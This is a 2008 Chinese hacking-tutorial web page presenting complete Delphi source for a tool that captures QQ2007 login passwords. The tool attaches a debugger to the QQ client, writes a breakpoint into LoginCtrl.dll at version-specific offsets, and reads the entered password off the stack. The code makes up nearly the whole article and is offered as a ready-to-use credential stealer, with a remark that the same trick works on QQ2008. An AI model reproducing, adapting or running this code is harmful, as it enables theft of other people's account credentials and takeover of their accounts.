首页  登陆  注册  博客集  下载频道  网络硬盘  学院论坛  家园
IT学院 网站地图 网站地图
收藏本站 收藏本站
高级搜索 高级搜索
 新闻IT新闻 互联网 微软 黑客新闻 网络网络协议 故障 网络管理 TCP/IP 无线技术 解决方案 黑客技术 漏洞 软件评测 安全资讯
 数据MSsql Oracle Mysql PL/SQL 备份 系统:Linux vista Windows FTP 防火墙 注册表 服务器行情 服务器应用 解决方案 WEB服务器
 墙纸风景壁纸 游戏壁纸 体育壁纸 汽车壁纸 人文壁纸 影视壁纸 广告壁纸 花卉壁纸 节日壁纸 动漫壁纸 明星壁纸 绘画壁纸 月历壁纸
当前位置: > 主页>网络攻防>黑客技术>利用Debug Api 获得QQ2007密码
热门文章排行
 
热门文章排行 XSS测试语句大全
反击黑客从这里开始
加密三剑客SSL、SET和PG
攻破网络的十二种常用方
sa弱口令强行入侵
Win2000 Server入侵监测
域名欺骗技术实现过程
通用密码后门
UNIX系统后门的安放和日
后门技术及rootkit工具-
精采文章推荐
 
精采文章推荐 小规模DDoS(拒绝服务)用
打造简单隐藏疯狂DDOS攻
用ASP实现反向连接控制
使用perl通过adsi接口导
详细讲解黑客常用的远程
二行代码解决全部网页木
判断cookies注入的js语
Metasploit渗透工具的应
利用Debug Api 获得QQ20
BBSXP绕过过滤继续注入
最新更新文章
 
最新更新文章 PERL铸造多线程+支持中
看黑客怎样汇编创建简单
破解数据库下载漏洞
利用sohu网站URL跳转漏
xdos.exe攻击器下载与使
DDoS攻击教程(3)
DDoS攻击教程(2)
DDoS攻击教程(1)
DOS攻击原理以及常见方
小规模DDoS(拒绝服务)用

利用Debug Api 获得QQ2007密码

编辑:   来源:  日期:2008-03-05   我要投稿      家园

随手写写的代码.这是上年的代码.2008版同样可以在ESP+24读取密码.只不过下断位置不同罢了.

{*******************************************************}
{ }
{ 利用Debug Api 获得QQ2007密码 }
{ 只支持QQ2007版本为7.1.576.1763或7.0.431.1723 }
{ 版权所有 (C) 2008 Open[x.g.c] }
{ }
{*******************************************************}

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ComCtrls,psapi,StrUtils;

type
TForm1 = class(TForm)
Button1: TButton;
Label1: TLabel;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;
const
Code :DWORD = $CC;
JCode :DWORD =$8D;
implementation

{$R *.dfm}
var
ProcessID: DWORD;

function HexToInt(HexStr: string): Int64;
var
RetVar: Int64;
i: byte;
begin
HexStr := UpperCase(HexStr);
if HexStr[length(HexStr)] = 'H' then
Delete(HexStr, length(HexStr), 1);
RetVar := 0;
for i := 1 to length(HexStr) do begin
RetVar := RetVar shl 4;
if HexStr[i] in ['0'..'9'] then
RetVar := RetVar + (byte(HexStr[i]) - 48)
else
if HexStr[i] in ['A'..'F'] then
RetVar := RetVar + (byte(HexStr[i]) - 55)
else begin
Retvar := 0;
break;
end;
end;
Result := RetVar;
end;

function GetMem(nOK :THANDLE;Addr:DWORD;len:integer=0):string;
const FindCount=100;
var
buf1:array[0..FindCount] of pchar ;
OK :BOOL;
nSize: DWORD;
lpNumberOfBytesRead:cardinal;
res,tmp:string;
s:array[0..FindCount] of string;
i:integer;
begin
if len<>0 then begin
nSize:=len ;
buf1[0]:=AllocMem(nSize);
OK :=ReadProcessMemory(nOK,Pointer(addr),buf1[0],nSize,lpNumberOfBytesRead);
if(OK or (nSize<>lpNumberOfBytesRead)) then begin
s[0]:='';
for i :=0 to nSize-1 do begin
s[0] := s[0] + format('%.2X',[ord(buf1[0][i])]);
end;
end;
FreeMem(buf1[0], nSize);
tmp:=s[0];
i:=1;
res:='';
while i<length(tmp) do begin
res:=res+chr(HexToInt(copy(tmp,i,2)));
inc(i,2);
end;
result:=res;
exit;
end;
end;

procedure NewProcess;
var
I: Integer;
Count: DWORD;
ModHandles: array[0..$3FFF - 1] of DWORD;
ModInfo: TModuleInfo;
ModName: array[0..MAX_PATH] of char;
Num : Cardinal;
Rc,ok :Boolean;
DebugD: DEBUG_EVENT;
Context: _CONTEXT;
base: Pointer;
ProcHand : THandle;
ThreadHandle :THandle;
EAX : string;
begin
ProcHand := OpenProcess(PROCESS_ALL_ACCESS,False,ProcessID);
if ProcHand <> 0 then
try
EnumProcessModules(ProcHand,@ModHandles,SizeOf(ModHandles),Count);
for I :=0 to (Count div SizeOf(DWORD)) - 1 do
if (GetModuleFileNameEx(ProcHand,ModHandles[i],ModName,SizeOf(ModName)) > 0) and GetModuleInformation(ProcHand,
ModHandles[i],@ModInfo,SizeOf(ModInfo)) and (RightStr(UpperCase(ModName),13)= 'LOGINCTRL.DLL') then
begin
if DWord(ModInfo.EntryPoint) - Dword(ModInfo.lpBaseOfDll) = $22C3A then
base := Pointer(DWord(ModInfo.lpBaseOfDll)+$15C90);
if DWord(ModInfo.EntryPoint) - Dword(ModInfo.lpBaseOfDll) = $2043A then
base := Pointer(DWord(ModInfo.lpBaseOfDll)+$148A3);
ok := WriteProcessMemory(ProcHand,base,@Code,1,Num);
if not ok then Exit;
if not DebugActiveProcess(ProcessID) then Exit;
Rc := True;
while WaitForDebugEvent(DebugD, INFINITE) do
begin
case DebugD.dwDebugEventCode of
EXIT_PROCESS_DEBUG_EVENT:
begin
Form1.Label1.Caption := '被调试进程中止';
Break;
end;
CREATE_PROCESS_DEBUG_EVENT:
begin
ThreadHandle := DebugD.CreateProcessInfo.hThread;
Form1.Label1.Caption := '请输入密码点登录';
end;
EXCEPTION_DEBUG_EVENT:
begin
case DebugD.Exception.ExceptionRecord.ExceptionCode of
EXCEPTION_BREAKPOINT:
begin
if base = DebugD.Exception.ExceptionRecord.ExceptionAddress then
begin
Context.ContextFlags := CONTEXT_FULL;
GetThreadContext(ThreadHandle, Context);
EAX := Trim(GetMem(ProcHand,Context.Esp + $24,20));
Form1.Label1.Caption := 'QQ密码:' + EAX ;
Rc := WriteProcessMemory(ProcHand,Pointer(dword(base)),@JCode,1,Num);
Context.Eip := dword(base);
SetThreadContext(ThreadHandle, Context);
end;
end;
end;
end;
end;
if Rc then
ContinueDebugEvent(DebugD.dwProcessId, DebugD.dwThreadId,DBG_CONTINUE)
else
ContinueDebugEvent(DebugD.dwProcessId, DebugD.dwThreadId, DBG_EXCEPTION_NOT_HANDLED);
end;
CloseHandle(ThreadHandle);
end;
finally
CloseHandle(ProcHand);
end;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
h: HWND;
ThreadID: THandle;
begin
h := FindWindow(nil,'QQ用户登录');
if h = 0 then
begin
Form1.Label1.Caption := '没有找到QQ登录框' ;
Exit;
end;
GetWindowThreadProcessId(h,ProcessID) ;
CreateThread(nil, 0, @NewProcess, nil, 0, ThreadID) ;
end;

end.


上一篇:BBSXP绕过过滤继续注入  
下一篇:Metasploit渗透工具的应用
 关键字:  
文章评论】 【收藏本文】 【推荐好友】 【打印本文】 【论坛讨论

   相关文章:

   文章评论:(0条)
  
 请留名: 匿名评论   点击查看所有评论
 

  责任编辑:IT学院  声明:刊登此文章是为了传递更多信息,文章内容仅供参考,转载请注明出处。